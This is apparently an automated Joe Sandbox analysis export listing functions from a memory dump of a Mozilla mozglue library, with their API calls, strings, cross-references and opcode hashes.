Instruction ID: 4c3187886291856c7dd7f9ba4a418c529c775d9ee488a957c71129f9ff71f7e1
Opcode Fuzzy Hash: d5890dea50c0e27f1cb3a14adb09eb10fe1a5f7d73ff12e98e2a20981f82f9d5
Instruction Fuzzy Hash: 7241A271A05208DFDB14DF58D580A9DB7B5FF4A318F64846AE909AB741DB32FC06CB90

Function 6C922390 Relevance: 7.1, APIs: 3, Strings: 1, Instructions: 102timeCOMMON

Download Yara Rule

APIs

?Now@TimeStamp@mozilla@@CA?AV12@_N@Z.MOZGLUE(?,00000001), ref: 6C92241E
?Now@TimeStamp@mozilla@@CA?AV12@_N@Z.MOZGLUE(?,00000001), ref: 6C92243F
free.MOZGLUE ref: 6C9224B2

Strings

KpT{/, xrefs: 6C92239E

Memory Dump Source

Source File: 00000007.00000002.2669033602.000000006C8D1000.00000020.00000001.01000000.0000000F.sdmp, Offset: 6C8D0000, based on PE: true

Associated: 00000007.00000002.2669004056.000000006C8D0000.00000002.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000007.00000002.2669122689.000000006C94D000.00000002.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000007.00000002.2669159740.000000006C95E000.00000004.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000007.00000002.2669190875.000000006C962000.00000002.00000001.01000000.0000000F.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_7_2_6c8d0000_eb98fe5174.jbxd

Similarity

API ID: Now@Stamp@mozilla@@TimeV12@_$free
String ID: KpT{/
API String ID: 2714075083-2391877073
Opcode ID: f9bed8a73296aa5574958f34ee5702fc200c363688a7afa67195b53bdebeb103
Instruction ID: 4da6c62b8c6298103f8365c11c55826d80a1fe02d2bb1a61d33bae6daa2ca92a
Opcode Fuzzy Hash: f9bed8a73296aa5574958f34ee5702fc200c363688a7afa67195b53bdebeb103
Instruction Fuzzy Hash: 0B41BF70620B00CFD718CF28C480A55BBF4FF49318F64869DE9998B756E731E885CB80

Function 6C930AA0 Relevance: 7.1, APIs: 3, Strings: 1, Instructions: 89COMMON

Download Yara Rule

APIs

Part of subcall function 6C924290: memcpy.VCRUNTIME140(?,?,6C932003,6C930AD9,?,6C930AD9,00000000,?,6C930AD9,?,00000004,?,6C931A62,?,6C932003,?), ref: 6C9242C4

moz_xmalloc.MOZGLUE(00000001,00000000,?,00000000,?,6C931A62,?,6C932003,?,?,00000000,6C931A62,?,?,?,?), ref: 6C930B48

Part of subcall function 6C8ECA10: malloc.MOZGLUE(?), ref: 6C8ECA26

memcpy.VCRUNTIME140(00000000,00000000,?,00000000,?,6C931A62,?,6C932003,?,?,00000000,6C931A62,?,?,?,?), ref: 6C930B5A
memcpy.VCRUNTIME140(00000000,6C931A62,?,?,?,?,00000000,?,6C931A62,?,6C932003,?,?,00000000,6C931A62,?), ref: 6C930B7D

Strings

KpT{/, xrefs: 6C930AAF

Memory Dump Source

Source File: 00000007.00000002.2669033602.000000006C8D1000.00000020.00000001.01000000.0000000F.sdmp, Offset: 6C8D0000, based on PE: true

Associated: 00000007.00000002.2669004056.000000006C8D0000.00000002.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000007.00000002.2669122689.000000006C94D000.00000002.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000007.00000002.2669159740.000000006C95E000.00000004.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000007.00000002.2669190875.000000006C962000.00000002.00000001.01000000.0000000F.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_7_2_6c8d0000_eb98fe5174.jbxd

Similarity

API ID: memcpy$mallocmoz_xmalloc
String ID: KpT{/
API String ID: 4040012564-2391877073
Opcode ID: 9832413a9637d32fea668d14fdf8e6661c63eddb08783868841ac48a6129e3a8
Instruction ID: 126adc478d5c1b8352d097230c430897f188b65c30f011adc61a5738627eb181
Opcode Fuzzy Hash: 9832413a9637d32fea668d14fdf8e6661c63eddb08783868841ac48a6129e3a8
Instruction Fuzzy Hash: 42219EB1A002599BCF14DF69D884AAFB7F9EF98218F44542DE84A97B40D734E814CBA0

Function 6C920A70 Relevance: 7.1, APIs: 2, Strings: 2, Instructions: 79COMMON

Download Yara Rule

APIs

Part of subcall function 6C8E37F0: ?ensureCapacitySlow@ProfilingStack@baseprofiler@mozilla@@AAEXXZ.MOZGLUE(?,?,?,?,6C93145F,baseprofiler::AddMarkerToBuffer,00000000,?,00000039,00000000), ref: 6C8E380A

Part of subcall function 6C918DC0: moz_xmalloc.MOZGLUE(00000038,?,?,00000000,?,6C9306E6,?,?,00000008,?,?,?,?,?,?,?), ref: 6C918DCC

Part of subcall function 6C920B60: moz_xmalloc.MOZGLUE(00000080,?,?,?,?,6C92138F,?,?,?), ref: 6C920B80

?profiler_capture_backtrace_into@baseprofiler@mozilla@@YA_NAAVProfileChunkedBuffer@2@W4StackCaptureOptions@2@@Z.MOZGLUE(?,00000001,?,?,6C92138F,?,?,?), ref: 6C920B27
free.MOZGLUE(?,?,?,?,?,6C92138F,?,?,?), ref: 6C920B3F

Strings

KpT{/, xrefs: 6C920643, 6C920A78
baseprofiler::profiler_capture_backtrace, xrefs: 6C920AB5

Memory Dump Source

Source File: 00000007.00000002.2669033602.000000006C8D1000.00000020.00000001.01000000.0000000F.sdmp, Offset: 6C8D0000, based on PE: true

Associated: 00000007.00000002.2669004056.000000006C8D0000.00000002.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000007.00000002.2669122689.000000006C94D000.00000002.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000007.00000002.2669159740.000000006C95E000.00000004.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000007.00000002.2669190875.000000006C962000.00000002.00000001.01000000.0000000F.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_7_2_6c8d0000_eb98fe5174.jbxd

Similarity

API ID: moz_xmalloc$?ensure?profiler_capture_backtrace_into@baseprofiler@mozilla@@Buffer@2@CapacityCaptureChunkedOptions@2@@ProfileProfilingSlow@StackStack@baseprofiler@mozilla@@free
String ID: KpT{/$baseprofiler::profiler_capture_backtrace
API String ID: 3592261714-1665529249
Opcode ID: 7a83bf84bc891b7a12711fc3054000f4b30fb41e36b507723425a0c0eb3ac22b
Instruction ID: f20050c1ec2fea284917926bf8c84f51461449a43f47e7aa33c3c2e809e55f16
Opcode Fuzzy Hash: 7a83bf84bc891b7a12711fc3054000f4b30fb41e36b507723425a0c0eb3ac22b
Instruction Fuzzy Hash: FF212474B002489BDF04DF58C8A4BBFB3B9AFA5708F60042DD8559BB40DB74E904CBA1

Function 6C90AF8B Relevance: 7.1, APIs: 3, Strings: 1, Instructions: 65COMMON

Download Yara Rule

APIs

_initialize_onexit_table.API-MS-WIN-CRT-RUNTIME-L1-1-0(6C95E3A4,00000000), ref: 6C90AFBD
_initialize_onexit_table.API-MS-WIN-CRT-RUNTIME-L1-1-0(6C95E3B0,00000000), ref: 6C90AFCC

Strings

KpT{/, xrefs: 6C90AFDA

Memory Dump Source

Source File: 00000007.00000002.2669033602.000000006C8D1000.00000020.00000001.01000000.0000000F.sdmp, Offset: 6C8D0000, based on PE: true

Associated: 00000007.00000002.2669004056.000000006C8D0000.00000002.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000007.00000002.2669122689.000000006C94D000.00000002.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000007.00000002.2669159740.000000006C95E000.00000004.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000007.00000002.2669190875.000000006C962000.00000002.00000001.01000000.0000000F.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_7_2_6c8d0000_eb98fe5174.jbxd

Similarity

API ID: _initialize_onexit_table
String ID: KpT{/
API String ID: 2450287516-2391877073
Opcode ID: 32f56e9f4233c798de5198d026f3e5b66598e309fdd5eec7e68ae920aa4d2622
Instruction ID: 697141fd16e5402d15061ec71dbc93ef9b51f5b34763b7b3c5900964bce889d7
Opcode Fuzzy Hash: 32f56e9f4233c798de5198d026f3e5b66598e309fdd5eec7e68ae920aa4d2622
Instruction Fuzzy Hash: F811E0B2E04701AEDB01DF6984003CE77B99F12328F60815ADD20EBF80DA76C6489BE0

Function 6C8DF180 Relevance: 7.1, APIs: 2, Strings: 2, Instructions: 65COMMON

Download Yara Rule

APIs

calloc.MOZGLUE(?,?), ref: 6C8DF19B

Part of subcall function 6C8FD850: EnterCriticalSection.KERNEL32(?), ref: 6C8FD904
Part of subcall function 6C8FD850: LeaveCriticalSection.KERNEL32(?), ref: 6C8FD971
Part of subcall function 6C8FD850: memset.VCRUNTIME140(?,00000000,?), ref: 6C8FD97B

mozalloc_abort.MOZGLUE(?), ref: 6C8DF209

Strings

KpT{/, xrefs: 6C8DF18F
d, xrefs: 6C8DF1F5

Memory Dump Source

Source File: 00000007.00000002.2669033602.000000006C8D1000.00000020.00000001.01000000.0000000F.sdmp, Offset: 6C8D0000, based on PE: true

Associated: 00000007.00000002.2669004056.000000006C8D0000.00000002.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000007.00000002.2669122689.000000006C94D000.00000002.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000007.00000002.2669159740.000000006C95E000.00000004.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000007.00000002.2669190875.000000006C962000.00000002.00000001.01000000.0000000F.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_7_2_6c8d0000_eb98fe5174.jbxd

Similarity

API ID: CriticalSection$EnterLeavecallocmemsetmozalloc_abort
String ID: KpT{/$d
API String ID: 3775194440-701102224
Opcode ID: ab1cf3a3aaac92211760a6365d43cc71c3b474e77977fa11eaf5efd06c22b350
Instruction ID: c1f5cf9de3d4244cdd4d3bf72534e7e62562ef92771b9c9030ff5efbda23a3e6
Opcode Fuzzy Hash: ab1cf3a3aaac92211760a6365d43cc71c3b474e77977fa11eaf5efd06c22b350
Instruction Fuzzy Hash: 8E115C36F0564D87DB048F68CA515FEB379DF6621CB52952DDC05AB711EB31EA84C380

Function 6C918CF0 Relevance: 7.1, APIs: 3, Strings: 1, Instructions: 64threadCOMMON

Download Yara Rule

APIs

GetCurrentThreadId.KERNEL32 ref: 6C918D02
moz_xmalloc.MOZGLUE(00000080,?,6C91D9A8), ref: 6C918D38
InitializeConditionVariable.KERNEL32(00000000,?,?,?,6C91D9A8), ref: 6C918D59

Strings

KpT{/, xrefs: 6C918CF8

Memory Dump Source

Source File: 00000007.00000002.2669033602.000000006C8D1000.00000020.00000001.01000000.0000000F.sdmp, Offset: 6C8D0000, based on PE: true

Associated: 00000007.00000002.2669004056.000000006C8D0000.00000002.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000007.00000002.2669122689.000000006C94D000.00000002.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000007.00000002.2669159740.000000006C95E000.00000004.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000007.00000002.2669190875.000000006C962000.00000002.00000001.01000000.0000000F.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_7_2_6c8d0000_eb98fe5174.jbxd

Similarity

API ID: ConditionCurrentInitializeThreadVariablemoz_xmalloc
String ID: KpT{/
API String ID: 3275805834-2391877073
Opcode ID: 8b1547abfeb9f14577fb5de4bf393b20dcc1400bd656b94b0c61e53ef821c822
Instruction ID: 4d751e36c15c18d96abcbb2dfa590c0a53c9d61ecd4a33fd554495161a0f9afa
Opcode Fuzzy Hash: 8b1547abfeb9f14577fb5de4bf393b20dcc1400bd656b94b0c61e53ef821c822
Instruction Fuzzy Hash: DF21CF75B087088FDB10DF29C4456AAB7F1BFA9318F61892ED88697B41DB70F448CB90

Function 6C93C020 Relevance: 7.1, APIs: 3, Strings: 1, Instructions: 64COMMON

Download Yara Rule

APIs

GetCurrentProcess.KERNEL32 ref: 6C93C06F
RtlDuplicateUnicodeString.NTDLL ref: 6C93C0A1
__Init_thread_footer.LIBCMT ref: 6C93C0EE

Strings

KpT{/, xrefs: 6C93C02F

Memory Dump Source

Source File: 00000007.00000002.2669033602.000000006C8D1000.00000020.00000001.01000000.0000000F.sdmp, Offset: 6C8D0000, based on PE: true

Associated: 00000007.00000002.2669004056.000000006C8D0000.00000002.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000007.00000002.2669122689.000000006C94D000.00000002.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000007.00000002.2669159740.000000006C95E000.00000004.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000007.00000002.2669190875.000000006C962000.00000002.00000001.01000000.0000000F.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_7_2_6c8d0000_eb98fe5174.jbxd

Similarity

API ID: CurrentDuplicateInit_thread_footerProcessStringUnicode
String ID: KpT{/
API String ID: 1247259658-2391877073
Opcode ID: 39149f9754c37c2828e1cf5ec34bca63b05d00db346d5a3388edc861c8edadf0
Instruction ID: 14f02d56c4fc8dac23c231755c69cee21c8a5919c509beb48886f5355cced408
Opcode Fuzzy Hash: 39149f9754c37c2828e1cf5ec34bca63b05d00db346d5a3388edc861c8edadf0
Instruction Fuzzy Hash: E1212771705618DFDB10DF24CC84B9A77F4EB55368F604169E60A97780D731E844CB95

Function 6C939650 Relevance: 7.1, APIs: 3, Strings: 1, Instructions: 60COMMON

Download Yara Rule

APIs

_dtest.API-MS-WIN-CRT-MATH-L1-1-0 ref: 6C939675
_dtest.API-MS-WIN-CRT-MATH-L1-1-0 ref: 6C93968E
?fromString@Decimal@blink@@SA?AV12@ABV?$basic_string@DU?$char_traits@D@std@@V?$allocator@D@2@@std@@@Z.MOZGLUE(?), ref: 6C9396F6

Strings

KpT{/, xrefs: 6C939663

Memory Dump Source

Source File: 00000007.00000002.2669033602.000000006C8D1000.00000020.00000001.01000000.0000000F.sdmp, Offset: 6C8D0000, based on PE: true

Associated: 00000007.00000002.2669004056.000000006C8D0000.00000002.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000007.00000002.2669122689.000000006C94D000.00000002.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000007.00000002.2669159740.000000006C95E000.00000004.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000007.00000002.2669190875.000000006C962000.00000002.00000001.01000000.0000000F.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_7_2_6c8d0000_eb98fe5174.jbxd

Similarity

API ID: _dtest$?fromD@2@@std@@@D@std@@Decimal@blink@@String@U?$char_traits@V12@V?$allocator@V?$basic_string@
String ID: KpT{/
API String ID: 1331236360-2391877073
Opcode ID: c9902c39767c4c3a47f923d42cf8e90534ecedef5c40695cfa71395162bd32e0
Instruction ID: 15550c27ca84a537667918d525bf71233c79cbd5330cc052b147d6167bca0504
Opcode Fuzzy Hash: c9902c39767c4c3a47f923d42cf8e90534ecedef5c40695cfa71395162bd32e0
Instruction Fuzzy Hash: 27118E70A04B049FC711DF39D80459BB7F4EF5A324B51C62DE8AE97A40EB30E5598B86

Function 6C8ECA10 Relevance: 7.1, APIs: 2, Strings: 2, Instructions: 58COMMON

Download Yara Rule

APIs

malloc.MOZGLUE(?), ref: 6C8ECA26

Part of subcall function 6C8ECAB0: EnterCriticalSection.KERNEL32(?), ref: 6C8ECB49
Part of subcall function 6C8ECAB0: LeaveCriticalSection.KERNEL32(?), ref: 6C8ECBB6

mozalloc_abort.MOZGLUE(?), ref: 6C8ECAA2

Strings

KpT{/, xrefs: 6C8ECA1B
d, xrefs: 6C8ECA6C

Memory Dump Source

Source File: 00000007.00000002.2669033602.000000006C8D1000.00000020.00000001.01000000.0000000F.sdmp, Offset: 6C8D0000, based on PE: true

Associated: 00000007.00000002.2669004056.000000006C8D0000.00000002.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000007.00000002.2669122689.000000006C94D000.00000002.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000007.00000002.2669159740.000000006C95E000.00000004.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000007.00000002.2669190875.000000006C962000.00000002.00000001.01000000.0000000F.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_7_2_6c8d0000_eb98fe5174.jbxd

Similarity

API ID: CriticalSection$EnterLeavemallocmozalloc_abort
String ID: KpT{/$d
API String ID: 3517139297-701102224
Opcode ID: 3c1066e9529aba2caf08eeadb35f608f534aa5232c82c5ace6ffef649e836619
Instruction ID: c9389ae0d92b8a5802374ccd950ab9f5dda08de32b772cd94fa9c5bf88213fd7
Opcode Fuzzy Hash: 3c1066e9529aba2caf08eeadb35f608f534aa5232c82c5ace6ffef649e836619
Instruction Fuzzy Hash: 0E112162E0869897DB00EB6CC9000FDBB74EFAA208B558629DC45A7703EB30A5C4C380

Function 6C93B4C0 Relevance: 7.1, APIs: 3, Strings: 1, Instructions: 57memoryCOMMON

Download Yara Rule

APIs

VirtualProtect.KERNEL32(?,?,?,?,?,?,?,?,?,?,?,00000000,00000000,00000002,?,6C8E0A40), ref: 6C93B52D
GetSystemInfo.KERNEL32(?,?,?,?,?,?,?,?,00000000,00000000,00000002,?,6C8E0A40), ref: 6C93B556
__Init_thread_footer.LIBCMT ref: 6C93B569

Strings

KpT{/, xrefs: 6C93B4CB

Memory Dump Source

Source File: 00000007.00000002.2669033602.000000006C8D1000.00000020.00000001.01000000.0000000F.sdmp, Offset: 6C8D0000, based on PE: true

Associated: 00000007.00000002.2669004056.000000006C8D0000.00000002.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000007.00000002.2669122689.000000006C94D000.00000002.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000007.00000002.2669159740.000000006C95E000.00000004.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000007.00000002.2669190875.000000006C962000.00000002.00000001.01000000.0000000F.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_7_2_6c8d0000_eb98fe5174.jbxd

Similarity

API ID: InfoInit_thread_footerProtectSystemVirtual
String ID: KpT{/
API String ID: 1391590832-2391877073
Opcode ID: c80538ada6a21a5d9bc24fa244e3c1be2787ed59ed0c51f48fc97ae653a4f6f6
Instruction ID: a80514f579bb0648c9072f668af46fb5bbd650227e090d80eef9c20e301a80a6
Opcode Fuzzy Hash: c80538ada6a21a5d9bc24fa244e3c1be2787ed59ed0c51f48fc97ae653a4f6f6
Instruction Fuzzy Hash: 3911B231B04615DFCF00DF69D8C496AB7F5FB49328B640569E90A9BB00D732F815CBA5

Function 6C913CF0 Relevance: 7.1, APIs: 2, Strings: 2, Instructions: 55COMMON

Download Yara Rule

APIs

_errno.API-MS-WIN-CRT-RUNTIME-L1-1-0 ref: 6C913D19
mozalloc_abort.MOZGLUE(?), ref: 6C913D6C

Strings

KpT{/, xrefs: 6C913CFE
d, xrefs: 6C913D58

Memory Dump Source

Source File: 00000007.00000002.2669033602.000000006C8D1000.00000020.00000001.01000000.0000000F.sdmp, Offset: 6C8D0000, based on PE: true

Associated: 00000007.00000002.2669004056.000000006C8D0000.00000002.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000007.00000002.2669122689.000000006C94D000.00000002.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000007.00000002.2669159740.000000006C95E000.00000004.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000007.00000002.2669190875.000000006C962000.00000002.00000001.01000000.0000000F.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_7_2_6c8d0000_eb98fe5174.jbxd

Similarity

API ID: _errnomozalloc_abort
String ID: KpT{/$d
API String ID: 3471241338-701102224
Opcode ID: 5292d271ac3e1e2c43f86cf723d55934cdd0b9122476dd5209e8e23f9ff03632
Instruction ID: ecd4e80fd6b430e8a70417730d0a598388b6104c720c16b59a924d4082a9d973
Opcode Fuzzy Hash: 5292d271ac3e1e2c43f86cf723d55934cdd0b9122476dd5209e8e23f9ff03632
Instruction Fuzzy Hash: 8511043AE1C68CDBDB009F79C8164EDB775FF96218B858319EC4497A02EB30E584C350

Function 6C8F1A50 Relevance: 7.1, APIs: 2, Strings: 2, Instructions: 55COMMON

Download Yara Rule

APIs

realloc.MOZGLUE(?,?), ref: 6C8F1A6B

Part of subcall function 6C8F1AF0: EnterCriticalSection.KERNEL32(?), ref: 6C8F1C36

mozalloc_abort.MOZGLUE(?), ref: 6C8F1AE7

Strings

KpT{/, xrefs: 6C8F1A5E
d, xrefs: 6C8F1AB1

Memory Dump Source

Source File: 00000007.00000002.2669033602.000000006C8D1000.00000020.00000001.01000000.0000000F.sdmp, Offset: 6C8D0000, based on PE: true

Associated: 00000007.00000002.2669004056.000000006C8D0000.00000002.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000007.00000002.2669122689.000000006C94D000.00000002.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000007.00000002.2669159740.000000006C95E000.00000004.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000007.00000002.2669190875.000000006C962000.00000002.00000001.01000000.0000000F.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_7_2_6c8d0000_eb98fe5174.jbxd

Similarity

API ID: CriticalEnterSectionmozalloc_abortrealloc
String ID: KpT{/$d
API String ID: 2670432147-701102224
Opcode ID: af7fcf2cb4c88cf29121929d7a6607043005cd85990539ed1b7c33893dcd92a8
Instruction ID: c8fd7e5c3ff9ae820ba1176eaec0335e2469dda02bba7bf5a5dad74928b03f83
Opcode Fuzzy Hash: af7fcf2cb4c88cf29121929d7a6607043005cd85990539ed1b7c33893dcd92a8
Instruction Fuzzy Hash: 64115936E0468C97CB049BA8C9004FEB374EF95248F548A2DED555B702EB31E5C4C380

Function 6C9360F0 Relevance: 7.0, APIs: 3, Strings: 1, Instructions: 48COMMON

Download Yara Rule

APIs

?profiler_get_core_buffer@baseprofiler@mozilla@@YAAAVProfileChunkedBuffer@2@XZ.MOZGLUE ref: 6C936108

Part of subcall function 6C90FA80: GetCurrentThreadId.KERNEL32 ref: 6C90FA8D
Part of subcall function 6C90FA80: AcquireSRWLockExclusive.KERNEL32(6C95F448), ref: 6C90FA99

?writeUnlock@RWLockImpl@detail@mozilla@@IAEXXZ.MOZGLUE ref: 6C93612B

Part of subcall function 6C90A030: ReleaseSRWLockExclusive.KERNEL32 ref: 6C90A034

??$AddMarkerToBuffer@UNoPayload@markers@baseprofiler@mozilla@@$$V@baseprofiler@mozilla@@YA?AVProfileBufferBlockIndex@1@AAVProfileChunkedBuffer@1@ABV?$ProfilerStringView@D@1@ABVMarkerCategory@1@$$QAVMarkerOptions@1@UNoPayload@markers@01@@Z.MOZGLUE ref: 6C936158

Strings

KpT{/, xrefs: 6C9360FE

Memory Dump Source

Source File: 00000007.00000002.2669033602.000000006C8D1000.00000020.00000001.01000000.0000000F.sdmp, Offset: 6C8D0000, based on PE: true

Associated: 00000007.00000002.2669004056.000000006C8D0000.00000002.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000007.00000002.2669122689.000000006C94D000.00000002.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000007.00000002.2669159740.000000006C95E000.00000004.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000007.00000002.2669190875.000000006C962000.00000002.00000001.01000000.0000000F.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_7_2_6c8d0000_eb98fe5174.jbxd

Similarity

API ID: LockMarkerProfile$ChunkedExclusive$?profiler_get_core_buffer@baseprofiler@mozilla@@?writeAcquireBlockBufferBuffer@Buffer@1@Buffer@2@Category@1@$$CurrentD@1@Impl@detail@mozilla@@Index@1@Options@1@Payload@markers@01@@Payload@markers@baseprofiler@mozilla@@$$ProfilerReleaseStringThreadUnlock@V@baseprofiler@mozilla@@View@
String ID: KpT{/
API String ID: 2322322896-2391877073
Opcode ID: a9adca78b1131e3e602cd2ae032e7ce40b18265a55c72682a8eea0c9b6b3a322
Instruction ID: 565008a188f2efdc61d278d47d27df7d2f8748df7da56b65f4734d457a994197
Opcode Fuzzy Hash: a9adca78b1131e3e602cd2ae032e7ce40b18265a55c72682a8eea0c9b6b3a322
Instruction Fuzzy Hash: 78016D71A093558FCB44CF68D4812AFBBF4AF99214F90982DD889D7701E774D988CBD1

Function 6C93AE70 Relevance: 7.0, APIs: 3, Strings: 1, Instructions: 37threadCOMMON

Download Yara Rule

APIs

GetCurrentThreadId.KERNEL32 ref: 6C93AE85
EnterCriticalSection.KERNEL32(6C95F770,?,6C8FC034), ref: 6C93AE96
LeaveCriticalSection.KERNEL32(6C95F770,?,?,?,?,6C8FC034), ref: 6C93AEBD

Strings

KpT{/, xrefs: 6C93AE7B

Memory Dump Source

Source File: 00000007.00000002.2669033602.000000006C8D1000.00000020.00000001.01000000.0000000F.sdmp, Offset: 6C8D0000, based on PE: true

Associated: 00000007.00000002.2669004056.000000006C8D0000.00000002.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000007.00000002.2669122689.000000006C94D000.00000002.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000007.00000002.2669159740.000000006C95E000.00000004.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000007.00000002.2669190875.000000006C962000.00000002.00000001.01000000.0000000F.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_7_2_6c8d0000_eb98fe5174.jbxd

Similarity

API ID: CriticalSection$CurrentEnterLeaveThread
String ID: KpT{/
API String ID: 2351996187-2391877073
Opcode ID: 1de5a0ca5a92e1b10ba90c1bb36e2c0f8151096c8d2adafa7854fd37cc5300da
Instruction ID: b70ce2d8e4bda32183380943b26cdaeb6fb10b8505d2c859b0098f4169780abb
Opcode Fuzzy Hash: 1de5a0ca5a92e1b10ba90c1bb36e2c0f8151096c8d2adafa7854fd37cc5300da
Instruction Fuzzy Hash: 06F04FB5B042199FCF009FA8D88995BBBB9EB592297900429E505D7301DB31E808CBE0

Function 6C91F410 Relevance: 7.0, APIs: 3, Strings: 1, Instructions: 32threadCOMMON

Download Yara Rule

APIs

Part of subcall function 6C919420: getenv.API-MS-WIN-CRT-ENVIRONMENT-L1-1-0(MOZ_BASE_PROFILER_VERBOSE_LOGGING,6C8E4A68), ref: 6C91945E
Part of subcall function 6C919420: getenv.API-MS-WIN-CRT-ENVIRONMENT-L1-1-0(MOZ_BASE_PROFILER_DEBUG_LOGGING), ref: 6C919470
Part of subcall function 6C919420: getenv.API-MS-WIN-CRT-ENVIRONMENT-L1-1-0(MOZ_BASE_PROFILER_LOGGING), ref: 6C919482
Part of subcall function 6C919420: __Init_thread_footer.LIBCMT ref: 6C91949F

GetCurrentThreadId.KERNEL32 ref: 6C91F440
AcquireSRWLockExclusive.KERNEL32(6C95F4B8), ref: 6C91F44D
ReleaseSRWLockExclusive.KERNEL32(6C95F4B8), ref: 6C91F472
GetCurrentThreadId.KERNEL32 ref: 6C91F489
_getpid.API-MS-WIN-CRT-RUNTIME-L1-1-0 ref: 6C91F491
?profiler_time@baseprofiler@mozilla@@YANXZ.MOZGLUE ref: 6C91F4A8

Part of subcall function 6C91F070: ?Now@TimeStamp@mozilla@@CA?AV12@_N@Z.MOZGLUE(?,00000001), ref: 6C91F09B
Part of subcall function 6C91F070: ??GTimeStampValue@mozilla@@QBE_KABV01@@Z.MOZGLUE(00000000), ref: 6C91F0AC
Part of subcall function 6C91F070: ??GTimeStampValue@mozilla@@QBE_KABV01@@Z.MOZGLUE(00000000,00000000), ref: 6C91F0BE

Part of subcall function 6C90CBE8: GetCurrentProcess.KERNEL32(?,6C8D31A7), ref: 6C90CBF1
Part of subcall function 6C90CBE8: TerminateProcess.KERNEL32(00000000,00000003,?,6C8D31A7), ref: 6C90CBFA

GetCurrentThreadId.KERNEL32 ref: 6C91F559
_getpid.API-MS-WIN-CRT-RUNTIME-L1-1-0 ref: 6C91F561
GetCurrentThreadId.KERNEL32 ref: 6C91F577
AcquireSRWLockExclusive.KERNEL32(6C95F4B8), ref: 6C91F585
ReleaseSRWLockExclusive.KERNEL32(6C95F4B8), ref: 6C91F5A3

Strings

KpT{/, xrefs: 6C91F07C, 6C91F1BA, 6C91F32A, 6C91F41A
[I %d/%d] profiler_resume_sampling, xrefs: 6C91F499
[D %d/%d] profiler_add_sampled_counter(%s), xrefs: 6C91F56A
[I %d/%d] profiler_resume, xrefs: 6C91F239
[I %d/%d] profiler_pause_sampling, xrefs: 6C91F3A8

Memory Dump Source

Source File: 00000007.00000002.2669033602.000000006C8D1000.00000020.00000001.01000000.0000000F.sdmp, Offset: 6C8D0000, based on PE: true

Associated: 00000007.00000002.2669004056.000000006C8D0000.00000002.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000007.00000002.2669122689.000000006C94D000.00000002.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000007.00000002.2669159740.000000006C95E000.00000004.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000007.00000002.2669190875.000000006C962000.00000002.00000001.01000000.0000000F.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_7_2_6c8d0000_eb98fe5174.jbxd

Similarity

API ID: Current$ExclusiveLockThread$Timegetenv$AcquireProcessReleaseStampV01@@Value@mozilla@@_getpid$?profiler_time@baseprofiler@mozilla@@Init_thread_footerNow@Stamp@mozilla@@TerminateV12@_
String ID: KpT{/$[D %d/%d] profiler_add_sampled_counter(%s)$[I %d/%d] profiler_pause_sampling$[I %d/%d] profiler_resume$[I %d/%d] profiler_resume_sampling
API String ID: 200552284-2488460804
Opcode ID: a9cee6d0a09c5e7c50a7b0ba0d16c6251870199d2119c68518baa978a9a87f4e
Instruction ID: d3a7904d0b4912172a28ac935f8bf7692d5e1f5357473c7e71336196b25ed739
Opcode Fuzzy Hash: a9cee6d0a09c5e7c50a7b0ba0d16c6251870199d2119c68518baa978a9a87f4e
